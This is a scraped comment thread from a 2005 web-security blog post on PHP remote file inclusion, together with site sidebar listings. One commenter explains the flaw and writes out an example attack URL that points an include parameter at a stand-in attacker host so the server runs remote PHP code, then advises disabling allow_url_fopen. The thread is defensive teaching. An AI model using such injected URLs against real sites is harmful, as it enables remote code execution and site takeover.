-
Website
http://technosailor.com -
Original page
http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/ -
Subscribe
All Comments -
Community
-
Top Commenters
-
AndyBeard
7 comments · 4 points
-
Rob
12 comments · 101 points
-
GeekMommy
4 comments · 15 points
-
chrisbachmann
5 comments · 1 points
-
chrispian
4 comments · 1 points
-
-
Popular Threads
Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don't know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.
And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).
Matt
Checking $_SERVER[’DOCUMENT_ROOT’] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)
Leave a Comment
I've seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:
And then they run it with something like "http://www.example.com/index.php?page=page5.html".
All it takes is someone to come along and type "http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt", and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.
Moral: allow_url_fopen should *always* be off unless you need it.
Rob